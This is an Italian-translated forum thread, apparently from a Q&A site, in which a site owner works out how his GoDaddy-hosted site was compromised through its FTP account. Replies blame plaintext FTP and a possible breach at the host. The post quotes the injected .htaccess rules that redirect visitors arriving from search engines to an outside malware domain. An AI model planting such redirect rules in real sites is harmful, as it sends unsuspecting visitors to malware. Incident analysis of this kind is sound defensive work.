Analizzare un attacco al sito Web tramite un account FTP compromesso


9

Il mio sito è stato violato e, a questo punto, conosco alcuni dettagli, ma non so esattamente come sia successo o come prevenirlo in futuro. Ho bisogno del tuo aiuto nel tentativo di sezionare l'attacco in modo da poterlo evitare di nuovo. Questo è un po 'lungo, ma voglio assicurarmi di dare abbastanza informazioni per aiutare a risolvere il problema.

Ecco cosa è successo.

Qualche settimana fa ho ricevuto un'email dalla mia società di hosting, GoDaddy, in cui si diceva che il mio sito stava esaurendo troppe risorse e che si aspettavano che il problema fosse una query MySQL. La query in questione era una query di ricerca che conteneva 5-6 termini. Il modo in cui l'ho impostato, più termini cercavi, più complessa è diventata la query. Nessun problema. L'ho risolto, ma allo stesso tempo anche GoDaddy ha temporaneamente chiuso il mio account ed erano passati circa 3 giorni prima che tutto tornasse alla normalità.

A seguito di quell'incidente, il traffico del mio motore di ricerca è calato drasticamente, circa il 90%. Mi ha fatto schifo, non ci ho pensato niente, scrivendolo sulla query fiasco e immaginando che sarebbe tornato in tempo mentre Google ha ricostruito il sito. No

Qualche giorno fa, ho ricevuto un'email da un utente che diceva che il mio sito ospitava malware. Ho caricato il sito direttamente nel mio browser, ma non ho visto nulla iniettato nella pagina. Quindi ho controllato il mio file .htaccess e ho trovato quanto segue:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Carina. E un po 'subdolo. Navigare direttamente sul sito dalla barra degli indirizzi o da un segnalibro, cosa che faccio di solito, carica il sito normalmente. Raramente vado mai al mio sito tramite un link da un motore di ricerca, quindi è per questo che l'hack non è stato rilevato fino a quando lo è stato. Inoltre, il malware non è stato ospitato direttamente sul mio sito.

Una rapida ricerca ha mostrato che anche altre persone avevano lo stesso problema, anche se sospetto che ce ne siano molte altre che non l'hanno ancora rilevato. La maggior parte dei consigli erano di aggiornare alle ultime versioni del software, cambiare password, ecc.

Essendo come uso il mio sistema di gestione dei contenuti personalizzato e non l'onnipresente Wordpress, ho scavato un po 'più a fondo. Ho scansionato tutti i miei file per le funzioni comuni utilizzate negli exploit PHP: base64_decode, exec, shell, ecc ... Non è stato rilevato nulla di sospetto e non erano presenti file aggiuntivi.

Successivamente ho verificato la cronologia del file manager di GoDaddy e ho scoperto che il file .htaccess è stato modificato nella stessa identica data in cui la mia query di ricerca è stata accusata di utilizzare troppe risorse del server. Potrebbe essere una sfortunata coincidenza, ma non ne sono completamente sicuro. Il reindirizzamento nel file .htaccess non sembra dispendioso in termini di risorse e la query era abbastanza complessa da poter essere ad alta intensità di risorse.

Volevo essere sicuro che il mio codice non fosse il problema, quindi ho controllato i registri del traffico per attività sospette nel periodo in cui il file .htaccess è stato modificato, ma non ho visto alcuna attività GET o POST che sembrava anormale o simile a un tentativo di hacking.

Infine, ho richiesto i log FTP da GoDaddy e ho scoperto che non vi era accesso FTP non autorizzato al momento della modifica del file .htaccess. All'epoca ero in vacanza, con il mio computer spento fisicamente e non c'è nessun altro con le credenziali di accesso. Sembra che chiunque FTP abbia usato l'utente FTP primario per l'account, ma con un IP di 91.220.0.19, che sembra provenire dalla Lettonia .

Sull'hosting condiviso, sembra che GoDaddy assegni automaticamente un nome utente FTP primario in base all'URL del sito. È estremamente prevedibile, o almeno, è stato quando ho impostato il mio account di hosting. Ho registrato per la prima volta l'account di hosting diversi anni fa, quindi potrebbe essere cambiato, ma da quello che ricordo, non sono stato in grado di scegliere il nome utente FTP principale. Al momento, non puoi nemmeno cambiare il nome utente e sembra che GoDaddy non sia in grado di farlo, a meno che tu non annulli il tuo account e ti dimetta. Sebbene sia possibile creare, eliminare e modificare altri utenti FTP, l'utente FTP principale non può essere eliminato. È possibile modificare solo la password.

Con l'eccezione del nome utente FTP primario, tutte le credenziali di accesso per il sito, il database, l'amministratore e l'account sono incomprensibili, nomi utente e password casuali che sembrano che il tuo gatto abbia camminato sulla tastiera. Es: lkSADf32! $ AsJd3.

Ho analizzato a fondo il mio computer alla ricerca di virus, malware, ecc. Nel caso in cui sia il punto debole del collegamento, ma non è emerso nulla. Uso un firewall, un programma antivirus e provo ad utilizzare abitudini di navigazione sicure.

Quando aggiorno il mio sito, utilizzo Core FTP LE e una connessione SSH / SFTP. L'account di hosting è una configurazione Linux.

Parlando con il supporto tecnico GoDaddy, non sono sicuri di come la password FTP sia stata compromessa. Nell'hosting condiviso, non sono in grado di posizionare un blocco IP a livello di utente FTP. Non sono inoltre in grado di modificare il nome utente FTP principale. Quando ho chiesto se avevano una protezione della forza bruta attorno all'accesso FTP, all'inizio la tecnologia sembrava incerta, ma poi ha detto che lo hanno fatto dopo averlo riformulato alcune volte. Tuttavia, penso di ricordare di aver posto la stessa domanda in una precedente chiamata e di aver sentito che GoDaddy non ha una protezione della forza bruta sull'accesso FTP. A questo punto, non so se lo fanno o no.

Ho modificato tutte le mie credenziali di accesso su tutta la linea e ho anche vietato l'indirizzo IP lettone usando il file .htaccess (probabilmente non farà differenza se stanno usando FTP), ma non sono ancora sicuro di come FTP la password è stata inizialmente compromessa.

Sono abbastanza certo che il problema non riguardava il mio codice (anche se lo fosse, le informazioni FTP non avrebbero dovuto essere esposte) o con il mio computer. Ciò che sospetto, ma non so come dimostrare, è che la password FTP era forzata perché il nome utente era prevedibile. L'attacco a forza bruta potrebbe anche coincidere con le risorse del server che si stanno esaurendo (incolpate della mia domanda), ma non conosco abbastanza il lato tecnico dei server per sapere se ciò è possibile o addirittura probabile.

Ora mi sento come se fossi alla fine di ciò che so cosa fare. Mi piacerebbe essere in grado di capire come è stato effettuato l'attacco e come prevenirlo, quindi se avete ulteriori idee su vettori di attacco, diagnostica che potrebbe essere eseguita o misure di sicurezza aggiuntive, sarei molto grato. Sono più che disposto a cambiare host o abbandonare l'hosting condiviso, ma voglio assicurarmi di poter evitare che ciò accada di nuovo.

Aiutami, Obi-Wan Kenobi ...

Risposte:


8

Qualcosa è diventato familiare mentre leggi il tuo post. Poi mi ha colpito: l'avevo visto prima, più di un mese fa, quando tentavo di accedere a un sito per un gioco. Vedi qui - stesso comportamento, l'azione di reindirizzamento eseguita solo sui referrer dei motori di ricerca.

Il nome di dominio nel tuo .htaccesssembrava familiare perché l'antivirus del mio computer di casa mi aveva fatto rumori rumorosi settimane fa.

E non lo sapresti, l'host del sito su cui avevo osservato questo? Vai papà.

Non credo che tu sia stato costretto alla violenza o che la tua password sia stata compromessa per colpa tua; Penso che GoDaddy sia stato quello compromesso qui. E non li metterei oltre per archiviare le password FTP in testo semplice. Alcuni altri scavi hanno trovato questo articolo suggerendo lo stesso; la protezione della forza bruta può essere l'ultimo dei loro problemi.


Suppongo che l'OP abbia cambiato le credenziali FTP. Spero che non stiano usando l'archiviazione della password in chiaro. Sarebbe - ahem - piuttosto deludente.
Evan Anderson,

@Evan Dai un'occhiata all'articolo collegato nell'ultimo paragrafo, però; sembra supportare la teoria della "colpa di GoDaddy". Cosa significa re: la loro crittografia della password è solo un esercizio interessante nell'immaginazione. ;)
Shane Madden,

Dopo aver esaminato nuovamente tutto, mi collego tramite SSH. Tuttavia, le credenziali che devo usare sono quelle per l'utente FTP primario. Non c'è modo di configurare un utente esclusivamente per SSH senza che funzioni anche per FTP che posso vedere per l'hosting condiviso.
Cara Abby,

@Dear Quando si accede tramite SSH, le credenziali vengono crittografate in transito. Sarebbero vulnerabili solo ad essere annusati sul filo quando si connettono tramite un protocollo non sicuro come FTP o HTTP.
Shane Madden,

2
È stato valutato se per nessun altro motivo che hai avuto la pazienza di leggere l'intero post.
Wesley,

6

Facile! Non usare FTP. Trasmette le credenziali in testo normale e trasmette tutti i dati in testo semplice. È uno dei modi più insicuri per trasferire file. Se il tuo host non supporta altri modi, trova un nuovo host.


+1: non è possibile ottenere una connessione punto-punto diretta al server ospitato. Per definizione la tua cleartext FTP di accesso sarà avere a reti non attendibili di transito. Sei diventato proprietario perché le tue credenziali sono state registrate da qualche parte lungo il percorso in un momento o nell'altro. (In effetti, i ddd sono buoni che l'attaccante che ha modificato il tuo sito non è stato quello che ha catturato le credenziali. Probabilmente sei stato registrato da uno sniffer non rilevato in esecuzione all'interno di una rete ISP e aggiunto a un database di credenziali acquistate e vendute. ..) Su Internet di oggi NON PUOI semplicemente vivere con autenticazione in chiaro. Periodo.
Evan Anderson,

In realtà, non ho usato SSH per oltre un anno senza usare FTP una volta in quel momento. Tuttavia, anche se GoDaddy offre altri modi per trasferire file, non consente di eliminare l'utente FTP principale. Come ho detto, sto bene cambiando host, voglio solo capire cosa è successo. Come qualcuno ascolterebbe le credenziali FTP?
Cara Abby,

@Dear - L'utente FTP e la password dovrebbero essere in chiaro nei pacchetti. Qualsiasi programma in grado di acquisire pacchetti lo rivelerebbe. Il commento di Evan lo spiega bene.
MDMarra,

@Evan - Quindi la soluzione sarebbe: non usare mai FTP e abbandonare l'hosting condiviso? O puoi usare SSH esclusivamente ed essere ancora al sicuro con l'hosting condiviso?
Cara Abby,

3
@Dear - Se un host non può disabilitare FTP per il mio sito, non vorrei usarli.
MDMarra,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.